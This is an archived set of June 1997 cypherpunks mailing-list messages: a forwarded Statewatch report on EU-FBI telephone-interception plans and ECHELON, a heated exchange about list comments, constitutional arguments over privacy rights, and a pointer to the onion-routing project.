>> 5317BD5D86A9257B2048D1D80523D9ACF320DB56A078CA4EA62BABF7A43EBE6B
>> 2F5FB787CDEF242FA01EF13984F7071AC2B401DAD0010740F1F024C3CCF9D841
>> 9760977F67662EEF
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 21 Jun 1997 13:20:03 +0800
To: cypherpunks@Algebra.COM
Subject: fbi+eu mass wiretapping?
Message-ID: <199706210507.WAA01992@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: chasm@insync.net (Schuetzen)
To: ADVISORY.LIST@insync.net, snetnews@world.std.com
Subject: SNET: (fwd) piml] Global telephone tapping system.
Date: Fri, 20 Jun 1997 04:19:01 GMT


- ->  SearchNet's   SNETNEWS   Mailing List

X-No-Archive: Yes

FORWARDED On Thu, 19 Jun 1997 15:19:36 -0400, "Mark A. Smith"
<msmith01@eng.eds.com> wrote:
To: piml@mars.galstar.com
Subject: piml] Global telephone tapping system.
From: "Mark A. Smith" <msmith01@eng.eds.com>
Date: Thu, 19 Jun 1997 15:19:36 -0400

This is a multi-part message in MIME format.

     European Union and FBI launch global surveillance system

          -------------------
          From Statewatch,
          25 February 1997,
          London, UK
          -------------------

          "The EU, in cooperation with the FBI of the USA, is launching
          a system of global surveillance of communications to combat
          "serious crime" and to protect "national security", but to do
          this they are creating a system which can monitor everyone
          and everything. The EU will be able to trawl the airwaves for
          "subversive" thoughts and "dissident" views and, with its
          partners, across the globe."

          "It seems extraordinary given the concern over the Police
          Bill in the UK and the "Clipper chip" in the USA that there
          has been no debate over the creation of a global telephone
          tapping system initiated by the EU and the USA and supported
          by Canada, Australia, Norway and Hong Kong."

          "the UK Parliament, like many others in the EU, has been by-
          passed in the most blatant way. To claim as the Home
          Secretary does that the "Memorandum of Understanding" is "not
          a significant document" and to fail to send the main EU
          Council Resolution to parliament for scrutiny is quite
          extraordinary when the Police Bill - which extends police
          surveillance - is going through parliament."

          OVERVIEW

          EU-FBI: global tapping system

          The Council of the European Union and the FBI in Washington,
          USA have been cooperating for the past five years on a plan
          to introduce a global telecommunications tapping system.

          The system takes advantage of the liberalisation of
          telecommunications - where private companies are taking over
          from national telephone systems - and the replacement of
          land/sea based lines and microwave towers by satellite
          communications.

          Telephone lines are now partly land-based or under sea or via
          microwave land-based towers but the new generation of
          telecommunications will be totally satellite based.

          The EU-FBI initiative notes the demise of:

            1. state-owned telephone companies
            2. nationally-based telephone systems is concerned about:
            3. the problems faced with intercepting "mobile" phones and
               encrypted communications and wants to ensure:
            4. there is harmonisation of national laws on interception
            5. to ensure that telecommunications provider business
               cooperate with the police and internal security
            6. the equipment produced has standards which can be
               intercepted
            7. as many countries as possible to sign up and thus create
               a de facto global system (through provisions of
               equipment etc to third countries)

          A related disclosure in a book by Nicky Hager shows that
          instead of "suspects" and "targets" the ECHELON system simply
          trawls the airwaves for "subversive thoughts" in written form
          and increasingly in verbal form.

          ECHELON is run under the 1948 UKUSA agreement by the US, UK,
          Canada, New Zealand and Australia.

          REPORT

          The Trevi decision

          The first reference to this initiative was at a Trevi
          Ministers meeting in December 1991 which decided that:

               "a study should be made of the effects of legal,
               technical and market developments within the
               telecommunications sector on the different
               interception possibilities and of what action
               should be taken to counter the problems that have
               become apparent"

          At the meeting of Trevi Ministers in Copenhagen in June 1993
          they agreed the text of a "questionnaire on phone tapping"
          which was sent to each Member State in July 1993 and to the
          new members (Finland, Sweden and Austria) in September 1993
          (see below).

          EU-FBI linkup

          At the first meeting of the new Council of Justice and Home
          Affairs Ministers in Brussels on 29-30 November 1993 they
          adopted the following Resolution on "the interception of
          telecommunications" which speaks for itself and reproduced
          here in full:

          "COUNCIL RESOLUTION ON THE INTERCEPTION OF TELECOMMUNICATIONS

          The Council:

            1. calls upon the expert group to compare the requirements
               of the Member States of the Union with those of the FBI;

            2. agrees that the requirements of the Member States of the
               Union will be conveyed to the third countries which
               attended the FBI meeting in Quantico and were mentioned
               in the memorandum approved by the Ministers at their
               meeting in Copenhagen (Sweden, Norway, Finland
               (countries applying for accession to the European
               Communities), the USA and Canada) in order to avoid a
               discussion based solely on the requirements of the FBI;

            3. approves for practical reasons the extension to Hong
               Kong, Australia and New Zealand (which attended the FBI
               seminar) of the decision on co-operation with third
               countries which was taken at the Ministerial meeting in
               Copenhagen;

            4. hereby decides that informal talks with the above-named
               countries may be envisaged: to that end the Presidency
               and the expert group might, for example, organize a
               meeting with those third countries to exchange
               information."

          Source: "Interception of communications", report to COREPER,
          ENFOPOL 40, 10090/93, Confidential, Brussels, 16.11.93.

          Main Resolution on the "lawful interception of
          communications"

          The draft Resolution on the "lawful interception of
          communications", an initiative by the Netherlands (which set
          out the "Requirements", see below) was discussed in the K4
          Committee in March, April, November and December 1994.

          The JHA Council discussed the draft Resolution in March 1994
          but it was only formally adopted by "written procedure" (by
          telexes to Member States dated 21.12.94, 9.1.95, and 18.1.95:
          source Council of the European Union; the last date is after
          the Resolution was agreed) on 17 January 1995. The decision
          was not published in any form for almost two years - on 4
          November 1996 it finally appeared in the Official Journal.
          The Resolution has three parts: First, the short Resolution
          which says:

               "the legally authorised interception of
               telecommunications is an important tool for the
               protection of national interest, in particular
               national security and the investigation of serious
               crime."

          Second, the "REQUIREMENTS" which place a whole series of
          obligations on: network providers, eg: satellite
          communications networks; and on service providers, who
          provide the equipment for national telecom centres, business,
          groups and individuals. And finally, a Glossary of
          definitions.

          The "Requirements" are based on the needs of "law enforcement
          agencies" (defined as "a service authorised by law to carry
          out telecommunications interceptions") who "require access to
          the entire telecommunications transmitted.. by the
          interception subject" (defined as: "Person or persons
          identified in the lawful authorisation and whose incoming and
          outgoing communications are to be intercepted") who is the
          subject of an "interception order" defined as: "An order
          placed on a network operator/service provider for assisting a
          law enforcement agency with a lawfully authorised
          telecommunications interception."

          The "law enforcement agencies" are required to be provided
          with access not just to the content of a communication, in
          whatever, form, but also "associated data", "post-connection"
          signals (eg: conference calling or call transfer), all
          numbers called, all numbers called by - in both cases even if
          a connection is not made - plus "realtime, fulltime
          monitoring capability", the location of mobile subscribers,
          simultaneous and multiple interceptions "by more than one law
          enforcement agency", and "roaming" by mobile phone users
          "outside their designated home serving area".

          The network operators and service providers are expected to
          provide "one or several" permanent "interfaces from which the
          intercepted communications can be transmitted to the law
          enforcement monitoring facility." And, if they provide
          "encoding, compression or encryption" to the customer they
          must provide it en clair (decrypted) to the law enforcement
          agencies.

          Finally, they are obliged to ensure that:

               "neither the interception target nor any other
               authorised person is aware of any changes made to
               fulfil the interception order... [and] to protect
               information on which and how many interceptions are
               being or have been performed, and not to disclose
               information on how interceptions are carried out."

          Source: "Memorandum of Understanding concerning the lawful
          interception of telecommunications", ENFOPOL 112, 10037/95,
          Limite, Brussels, 25.11.95; this report contains the
          "Memorandum" with the Resolution adopted on 17 January 1965
          attached. The Resolution was published in the Official
          Journal on 4.11.96, ref: C 329 pages 1-6.

          Memorandum of Understanding on the Legal Interception of
          Telecommunications

          The "Memorandum of understanding with third countries" (later
          described as the "Memorandum of Understanding on the Legal
          Interception of Telecommunications") was discussed at the K4
          Committee in November 1994.

          The significance of the "Memorandum" is that it extends the
          agreement on the surveillance of telecommunications to non-EU
          countries who are being invited to adopt it - and with it the
          "Requirements".

          The Memorandum of Understanding was signed by the 15 EU
          Member States on 23 November 1995 at the meeting of the
          Council of Justice and Home Affairs Ministers.

          The contact addresses for signatory countries and for further
          information, which confirms the EU-USA link, should be sent
          to:

            a. Director Federal Bureau of Investigation, Attention:
               Information Resource Division, 10 Pennsylvania Avenue,
               N.W., Washington D.C. 20535

            b. General Secretary of the Council of the European Union,
               FAO The President, Rue de la Loi 175, B-1048 Brussels,
               Belgium."

          The number of signatories to the "Memorandum" is open-ended,
          any country can join providing the existing member states
          agree.

          It invites "participants" because "the possibilities for
          intercepting telecommunications are becoming increasingly
          threatened" and there is a need to introduce "international
          interception standards" and "norms for the telecommunications
          industry for carrying out interception orders" in order to
          "fight.. organised crime and for the protection of national
          security."

          The strategy appears to be to first get the "Western world"
          (EU, US plus allies) to agree "norms" and "procedures" and
          then to sell these products to Third World countries - who
          even if they do not agree to "interception orders" will find
          their telecommunications monitored by ECHELON (see below) the
          minute it hit the airwaves.

          Source: "Memorandum of Understanding concerning the lawful
          interception of telecommunications", ENFOPOL 112, 10037/95,
          Limite, Brussels, 25.11.95.

          "not a significant document" - the Home Secretary

          The Chair of the Select Committee on the European Communities
          in the House of Lords, Lord Tordoff, took up the "Memorandum"
          with the Home Secretary, Michael Howard, in an exchange of
          letters on the Committee~s access to documents for scrutiny.

          On the subject of the "Memorandum of Understanding on the
          Legal Interception of Telecommunications" Mr Howard told Lord
          Tordoff:

               "The Memorandum of Understanding is a set of
               practical guidelines to third countries on the
               lawful interception of telecommunications. It is
               NOT A SIGNIFICANT DOCUMENT and does not, therefore,
               appear to meet the criteria for Parliamentary
               scrutiny of Title VI documents." (emphasis added)

          It is quite clear from this Briefing that the "Memorandum" is
          not an insignificant document concerning as it does a EU-US
          plan for global telecommunications surveillance.

          The "Memorandum" itself is just two pages. It is the full
          text of the "Resolution" attached to it which demonstrates
          its full meaning.

          However, not only did Mr Howard not think the "Memorandum"
          was "a significant document" he also apparently believes the
          attached Resolution also insignificant as he did not submit
          it to the House of Lords Committee for scrutiny prior to its
          adoption in January 1995 or thereafter.

          Source: Correspondence with Ministers, 9th Session 1995-96,
          HL 74, pages 26-29.

          Letter to international standards bodies

          In December 1995 COREPER agreed a letter to be sent out to
          "international standardisation bodies in the field of
          telecommunications" (IEC, ISO and ITU). The letter said:

               "Modern telecommunications systems present the risk
               of not permitting the lawful interception of
               telecommunications if they have not been adapted,
               at the standardisation and design stage, to allow
               such interception."

          These bodies are "invited" to take account of the
          requirements of the Council Resolution of 17 January 1995 and
          told that Member States would be applying "these requirements
          to network operators and providers of services".

          The December 1995 letter to international standards bodies
          and the publication of the main Resolution in November 1996
          in the Official Journal announced to manufacturers of
          equipment and service providers that they will be expected to
          meet the "Requirements" allowing surveillance for any new
          contracts within the EU and via the "Memorandum" that these
          standards would also apply to any countries signing up to it
          - for example, the USA.

          Source: "Draft letter to be sent to the international
          standardisation bodies concerning the Council Resolution of
          17 January 1995 on the lawful interception of
          communications", Council General Secretariat to
          COREPER/COUNCIL, ENFOPOL 166, 12798/95, Limite, 14.12.95.

          Letter to non EU countries

          At its meeting on 28-29 November 1996 the Council of Justice
          and Home Affairs Ministers agreed a "draft letter" prepared
          by the K4 Committee to "non EU participants in the informal
          international Law Enforcement Telecommunications Seminar".

          "The letter.. informs you of the wider international support
          for the "Requirements" annexed to the Council Resolution.

          The Council considers that the lawful monitoring of
          telecommunications systems is an important tool in the
          prevention and detection of serious crimes and in
          safeguarding national security. Mindful of new technological
          developments in the field of telecommunications, the Council
          adopted the Resolution of 17 January, 1996 laying down
          technical Requirements, for the lawful interception of
          telecommunications. The Member States of the European Union
          have been called upon to apply those Requirements to
          telecommunications operators and service providers...

          The "Requirements" have been discussed by interception
          experts from EU Member States with colleagues from other
          countries which are equally concerned to ensure that adequate
          technical provision is made for legally authorized
          interception in modern telecommunications technologies.
          Arising from those discussions which have taken place during
          a seminar, the Council of the European Union has received
          expressions of support for the Requirements from Australia,
          Canada, Norway and the United States of America. In
          particular, the relevant authorities In those countries have
          undertaken to (i) have the Requirements taken into account in
          their appropriate national policies and (ii) use the
          Requirements as a basis for discussions with the
          telecommunications industry, standards bodies and
          telecommunications operators...

          You are invited to take note of this letter for the purpose
          of your further discussions with the telecommunications
          industry standards bodies and telecommunications operators.

          The President, for the Council of the European Union."

          Source: "Draft letter to non EU participants in the informal
          international Law Enforcement Telecommunications Seminar
          regarding the Council Resolution", ENFOPOL 180, 11282/96,
          Limite 6.11.96.

          Behind the scenes

          Behind the formal decisions and letters the various Working
          Parties under the K4 Committee were at work on the details.

          In January 1995 the Police Cooperation Working Group, which
          comes under the K4 Committee, considered a report by the UK
          delegation on the problems presented by the next generation
          of satellite-based telecommunications systems which should be
          able to:

               " ~"tag" each individual subscriber in view of a
               possibly necessary surveillance activity."

          The report said that the new mobile individual communications
          working through satellites were already underway and unlike
          the current earth-bound systems based on GSM-technology would
          "in many cases operate from outside the national territory".

          The rationale for the plan was that these new systems:

               "will provide unique possibilities for organised
               crime and will lead to new threats to national
               security".

          The report said all the new systems have to have the
          capability to place all individuals under surveillance - the
          product of "tagging" individual phone lines could therefore
          easily be extended to political activists, "suspected"
          illegal migrants and others.

          The fact that the new systems were being developed by large
          private international corporations, not national state-run
          systems, created "unusual problems for the legally permitted
          surveillance of telecommunications". The first problem to
          surface, according to the report, was that:

               "initial contacts with various consortia... has met
               with the most diverse reactions, ranging from great
               willingness to cooperate on the one hand, to an
               almost total refusal even to discuss the question."

          It goes on to say:

               "it is very urgent for governments and/or
               legislative institutions to make the new consortia
               aware of their duties. The government will also
               have to create new regulations for international
               cooperation so that the necessary surveillance will
               be able to operate."

          Another "problem" for surveillance under the new systems is
          that satellites will communicate with earth-bound stations
          which will function as distribution points for a number of
          adjoining countries - there will not be a distribution point
          in every country. While the existing "methods of legally
          permitted surveillance of immobile and mobile
          telecommunications have hitherto depended on national
          infrastructures" (italics added). The:

               "providers of these new systems do not come under
               the legal guidelines used hitherto for a legal
               surveillance of telecommunications."

          The report says it would be difficult to monitor the "upward
          and downward connections to the distribution point" so the
          "tag" would start the surveillance at "the first earthbound
          distribution point".

          Due to the number of different countries that might be
          involved in making a connection it has been agreed that the
          following "relevant data" should be provided: "the number of
          the subscriber calling, the number of the subscriber being
          called, the numbers of all subscribers called thereafter".
          The report uses the example of a subscriber who is a national
          of country A, with a telephone subscription in country B
          (supplying the relevant data for the "tag"), who occasionally
          uses the system in country C which uses the distribution
          point in country D (which conducts the surveillance) and who
          is in contact with a person in country E concerning a
          suspected serious crime in country F.

          The report with a series of recommendations including
          amendments to national laws to "ensure that surveillance will
          be possible within the new systems" and that "all those who
          are involved in planning the new systems" should be made
          aware of "the demands of legally permitted surveillance".

          A later report from the same Working Party, in June 1995,
          concludes:

               "These new telecommunications systems have much in
               common with existing mobile phone systems... [and]
               will very quickly develop into a global problem,
               which looks like it can only be controlled by
               global cooperation of a hitherto unknown degree."

          Sources: "Legally permitted surveillance of
          telecommunications systems provided from a point outside the
          national territory", report from the UK delegation to the
          Working Group on Police Cooperation, ENFOPOL 1, 4118/95,
          Restricted, 9.1.95; Report from the Presidency to the Working
          Group on Police Cooperation, ENFOPOL 1, 4118/2/95 REV 2,
          Limite, 2.6.95.

          Questionnaire on "national law regarding phone tapping"

          In November 1995 while the EU Ministers were signing the
          "Memorandum of Understanding" for non-EU countries a Working
          Party under the K4 Committee was considering a report from
          the Spanish delegation on national laws within the EU on
          phone tapping surveillance.

          The 1995 report opens with the cynical observation:

               "As it was foreseeable, all states which have
               answered the questionnaire guarantee the
               confidentiality of private communications either by
               their constitution or their Basic Law, or both, in
               accordance with Article 8 of the European
               Convention on Human Rights."

          However, it goes on to observe, and assume, "under certain
          conditions the interception of telecommunications" is
          allowed.

          The report says the country surveys showed - and this is of
          crucial importance regarding surveillance by ECHELON (see
          below) that:

               "At the moment there does not seem to be a legal
               problem for interception that depends on the kind
               of device used for the transmission of voice, text,
               data or images"

          This is a reference to forms of "written" communications or
          "images" sent by e-mail, fax, and telex.

          It summarises the legal positions as: the following countries
          "can simply" make changes in the penal procedure: Germany,
          Austria, Denmark, Luxembourg, Spain and Portugal, while
          Belgium, France, the UK, Ireland, Greece, Norway and Sweden
          require new legislation, with a combination of both in Italy.

          Discussions had taken place, the report says, on the "great
          advantages" the police have if: "they can keep people under
          surveillance on the grounds of suspicion of criminal
          activity". Some countries require objective evidence of an
          offence before surveillance can start but in Austria a
          request for a phone tap "leads automatically to an
          investigation being opened".

          Another problem addressed was the right of individual's to be
          informed about phone tapping (Article 6.3 in relation to
          Article 8 of the ECHR):

               "Obviously such information prejudices the result
               of the police investigation. Therefore, each
               country has to arrange for a procedure to legally
               delay notification."

          The report recommends the Danish system where a lawyer is
          appointed by the Justice Ministry who represents the
          interests of the person to be placed under surveillance at a
          private hearing but is not allowed to tell the person
          concerned.

          The survey found that the maximum duration of authorisation
          varied from 2 weeks to 4 months.

          The report concludes that phone tapping "is justified by a
          serious offence" where "a punishment of imprisonment of one
          year or more" is available to fight "organised crime". Yet
          again the justification for combating "organised crime" is so
          widely drawn - sentences of just one year or more - that the
          purpose of surveillance has to be fundamentally questioned.

          Source: "Report on the national laws regarding the
          questionnaires on phone tapping", Report from the Spanish
          Presidency to the Working Group on Police Cooperation,
          ENFOPOL 15, 4354/2/95 REV 2, Restricted, 13.11.95.

          Who is going to pay for it?

          One issue on which the reports from the K4 Committee are
          silent is who is to pay the costs for the special facilities
          needed under the "Requirements" of law enforcement agencies -
          network and service providers or the governments?

          However, a report produced by the German government, says
          that the costs are going to be astronomical. It estimates
          that to set up surveillance of mobile phones alone will cost
          4 billion D-Marks.

          Source: draft report, dated 5 May 1995, from the German
          government on the "problems and solutions regarding the
          surveillance of telecommunications".

          The "ECHELON" connection

          "ECHELON" is a world-wide surveillance system designed and
          coordinated by the US NSA (National Security Agency) that
          intercepts e-mail, fax, telex and international telephone
          communications carried via satellites and has been operating
          since the early 1980s - it is part of the post Cold War
          developments based on the UKUSA agreement signed between the
          UK, USA, Canada, Australia and New Zealand in 1948.

          The five agencies involved are: the US National Security
          Agency (NSA), the Government Communications Security Bureau
          (GCSB) in New Zealand, Government Communications Headquarters
          (GCHQ) in the UK, the Communications Security Establishment
          (CSE) in Canada and the Defence Signals Directorate (DSD) in
          Australia.

          The system has been exposed by Nicky Hager in his 1996 book,
          Secret Power: New Zealand's role in the International Spy
          Network. He interviewed more than 50 people who work or have
          worked in intelligence who are concerned at the uses of
          ECHELON.

               "The ECHELON system is not designed to eavesdrop on
               a particular individual's e-mail or fax link.
               Rather, the system works by indiscriminately
               intercepting very large quantities of
               communications and using computers to identify and
               extract messages from the mass of unwanted ones."

          There are three components to ECHELON:
            1. The monitoring of Intelsats, international
               telecommunications satellites used by phone companies in
               most countries. A key ECHELON station is at Morwenstow
               in Cornwall monitoring Europe, the Atlantic and the
               Indian Ocean.

            2. ECHELON interception of non-Intelsat regional
               communication satellites. Key monitoring stations are
               Menwith Hill in Yorkshire and Bad Aibling in Germany.

            3. The final element of the ECHELON system is the
               surveillance of land-based or under-sea systems which
               use cables or microwave tower networks.

          At present it is thought ECHELON's effort is primarily
          directed at the "written form" (e-mails, faxes, and telexes)
          but new satellite telephones system which take over from old
          land-based ones will be as vulnerable as the "written word".

          Each of the five centres supply "Dictionaries" to the other
          four of keywords, phrases, people and places to "tag" and the
          tagged intercept is forwarded straight to the requesting
          country.

          It is the interface of the ECHELON system and its potential
          development on phone calls combined with the standardisation
          of "tappable" telecommunications centres and equipment being
          sponsored by the EU and the USA which presents a truly global
          threat over which there are no legal or democratic controls.

          Source: "Exposing the global surveillance system", Nicky
          Hager. CovertAction Quarterly, Winter 1996-97, pages 11-17.

          CHRONOLOGY

          December 1991
          A meeting of the Trevi Ministers decide a study should be
          carried out on the new telecommunications systems and "the
          different interception possibilities".

          29-30 November 1993
          The first meeting of the new, post-Maastricht, Council of
          Justice and Home Affairs Ministers meeting in Brussels adopt
          a Resolution calling on experts to compare the needs of the
          EU "with those of the FBI".

          March, April, November and December 1994
          The K4 Committee discusses the draft Resolution on the lawful
          interception of telecommunications and the "Requirements" to
          be placed on network and service providers.

          March 1994
          The Council of Justice and Home Affairs Ministers discuss the
          draft Resolution.

          November 1994
          The K4 Committee discusses the draft "Memorandum of
          Understanding with third countries".

          9 January 1995
          The Working Group on Police Cooperation, under the K4
          Committee, considers a report on the need to "tag" all
          communications.

          17 January 1995
          The Resolution is adopted by "written procedure". It is not
          published in any form until 4 November 1996 when it appears
          in the Official Journal.

          13 November 1995
          The Working Group on Police Cooperation consider a report on
          the situation in each EU state on telephone tapping.

          23 November 1995
          The Council of Justice and Home Affairs Ministers agree the
          "Memorandum of Understanding". It is not published in any
          form.

          December 1995
          COREPER agree the text of a letter to be sent to
          international standards bodies attaching the Resolution.

          7 May 1996
          Michael Howard, the Home Secretary, tells the Chair of the
          Select Committee on the European Communities in the House of
          Lords that the "Memorandum of Understanding on the legal
          interception of communications" is "not a significant
          document".

          28 November 1996
          The Council of Justice and Home Affairs Ministers agree the
          text of a letter to be sent out to other potential
          "participants" (countries) in the "Memorandum of
          Understanding".

          Council of Justice and Home Affairs Ministers
          Set up under Title VI, Article K, of the Maastricht Treaty.
          First meet on 29 November 1993 when it took over from the
          Trevi Group and the Ad Hoc Group on Immigration.

          K4 Committee
          Also set up under the Maastricht Treaty to coordinate the
          work on the "third pillar" - policing, immigration and
          asylum, and legal cooperation. Is comprised of senior
          officials from Interior Ministries and prepares report to go
          to the Council.

          Under the K4 Committee there are three Steering Groups
          covering policing and customs, immigration and asylum, and
          legal cooperation (civil and criminal) to which a series of
          Working Groups report.

          COREPER
          The Committee of Permanent Representatives from each EU state
          based in Brussels.

     -----------------------------------------------------------------------
     Copyright: Statewatch, February 1997. Material in this report may be
     used provided the source is acknowledged.

     Statewatch, PO Box 1516, London N16 0EW
     tel: 00 44 181 802 1882
     fax: 00 44 181 880 1727
     e-mail: statewatch-off@geo2.poptel.org.uk


- --------------773C24486F5992E16EEA4806
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====================================================================

///,        ////             Mark A. Smith
\  /,      /  >.
 \  /,   _/  /.                  * * *
  \_  /_/   /.
   \__/_   <          UNITED STATES THEATRE COMMAND
   /<<< \_\_
  /,)^>>_._ \          email:  msmith01@flash.net
  (/   \\ /\\\       http://www.flash.net/~msmith01           
       // ````      
======((`===========================================================

- --------------773C24486F5992E16EEA4806--

_______________________________________
Charles L Hamilton  (chasm@insync.net)  Houston, TX
X-No-Archive: Yes

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: chasm@insync.net (Schuetzen)


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 13:26:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Derisive comments
In-Reply-To: <v03102817afd0f24d4292@[207.167.93.63]>
Message-ID: <v03102819afd112a2db34@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Take a gander at this out-of-the-blue and off-the-wall thing I just got
from Georgia's finest. Proves to me that what they say about Georgia is
right.

(I have no idea why Costner decided I should get this. Insofar as I
remember, the "ye-haww" comments came from Bill Stewart, and I took them to
mean Bill was happy at the result. The "wear masks" comment was presumably
about the anonymity issue, with a touch of McIntyre and 2600 mixed in.
Apparently this was all too subtle for Costner...probably not something
taught in the 8th grade he graduated from in Georgia.)

--Tim May, fed up with getting these bizarre rants from disgruntled and
ill-educated list members, some of whom seem to expect that I can _do_
something about the demons that torment them

Note: the following was sent directly to _me_:

>Date: Fri, 20 Jun 1997 23:36:15 -0400
>To: Tim May <tcmay@got.net>
>From: "Robert A. Costner" <pooh@efga.org>
>Subject: Derisive comments
>Mime-Version: 1.0
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Since I already know that you like to pick at me....
>
>
>What are  "Ye-haaw!" and "Wear masks in Underground Atlanta" supposed to mean
>when someone takes my comments elsewhere, posts them on cyberpunks and adds
>that.
>
>Is there supposed to be something wrong with winning an internet censorship
>case?    I'm beginning to see the property rights thing... Was I not supposed
>to challenge a criminal law I thought was wrong?
>
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQBVAwUBM6tMK0GpGhRXg5NZAQEXOAH/YaQPnqDfwwEqW1LdVv+/PryYE4VAPJjC
>yDerr6E+Pxl7Nw6yBfMeOmz+rFTqVawOyJii+tUUhj615mguSpcRSg==
>=7t6a
>-----END PGP SIGNATURE-----
>
>  -- Robert Costner                  Phone: (770) 512-8746
>     Electronic Frontiers Georgia    mailto:pooh@efga.org
>     http://www.efga.org/            run PGP 5.0 for my public key
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 21 Jun 1997 12:01:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)
Message-ID: <199706210328.WAA12321@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 20 Jun 1997 16:41:30 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill

> The United States is not a pure democracy, it is a constitutional
> republic. I believe I have a constitutional right to privacy. I also
> believe that I probably have a constitutional right to anonymity. It
> doesn't matter what "most senators" think, or indeed what "most Americans"
> think, if their thinking is contradicted by the Constitution. We do not
> have simple majority rule, here. In fact the founders of the country went 
> out of their way to insure that the simple majority could not easily 
> violate the principles upon which the country was founded.

Actualy with the wording of the 9th and 10th you as a citizen are reserved
ANY right you choose and the benefit of the doubt goes to you, the citizen.
For the government to prove their side they MUST demonstrate a
constitutional mandate.

Also notice the heirarchy of prohibition detailed in the 10th. The people
are NOT mentioned at all. In effect it says that the final say in ANY
discusssion of federal powers versus citizen rights falls to the people
since only they are specificaly NOT mentioned as a party the Constitution
even has the power to prohibit.

 
				ARTICLE IX. 
 
	The enumeration of the Constitution, of certain rights, shall 
not be construed to deny or disparage others retained by the people. 
 
 
[ This in effect says that my rights as a citizen are not limited by those
  that may be listed explicity in the Constitution. In effect an admission
  that my rights as a citizen, or even as a human being, are not limited
  by the Constitution by explicit intent of the authors.]
 

				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 
[ The powers which are not assigned to the federal government by the
  Constitution OR prohibited in respect to the states falls to the
  states (acting per their own individual constitutions as the deciding
  factor within their borders) and if not covered in the state constitution
  then to the poeple to decide (assuming a popular vote). It is critical
  to note that no explicit limit is placed on the issues decidable by the
  people, a difference explicitly pointed out with the federal and state
  governments.] 
 
[The first ten amendments went into effect on 15 December 1791.] 
 
A perfect non-crypto example is the current brew-haha over assisted suicide
and a Constitutional right to die. The question is not whether I have a
right to kill myself (assisted or otherwise). The 9th clearly states that
just because a right I might claim is not listed does not mean I don't have
it. Now the 10th says that if the federal government wants to control it
they must show a delegation of authority in the Constitution. So, despite
what the esteemed Supremes may think the question is not "Does the
Constitution allow a citizen to do this?" which is what they announced as
their 'first' question but rather, " does the Constitution delegate the
authority to decide when or how a citizen may die?" If not then each
individual state should decide the issue until or if an amendment can be
passed. Should individual states not cover such decisions in their own
constitutions then the poeple decide the issue individualy until a vote
can be arranged. The problem with our current operation is that we don't
have enough plebicites.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 21 Jun 1997 13:51:35 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Re: Getting Back to our Radical Roots
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <3.0.2.32.19970620223401.006ac490@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:52 PM 6/20/97 PDT, John Smith wrote:
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.

See  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

The project is moving forward after some Cypherpunks instigated bug fixes.
However, it will probably be a while before the system has been ported from
Solaris/BSAFE to Linux/SSLeay.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 21 Jun 1997 12:15:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [EFGA] WE won our court case!! (fwd)
Message-ID: <199706210343.WAA12370@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: [EFGA] WE won our court case!! (fwd)

> Reasonable men adapt to match the world around them.  Unreasonable men try to 
> adapt the world to themselves.  Therefore, only unreasonable men bring about 
> change in the world.  I may be unreasonable, but I'm not pathetic.

This is an interesting insight into the underpinnings of a democracy or
republic. The secret to success and ultimate limitation of government
authority is people standing up and saying "Hell NO!, I won't take it any
more." In short, for democracy (any democracy I suspect) to work it REQUIRES
people being unwilling to compromise. So many people labor under the
impression that compromise is how they get to where they want to be. Very
successful indoctrination I suspect...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
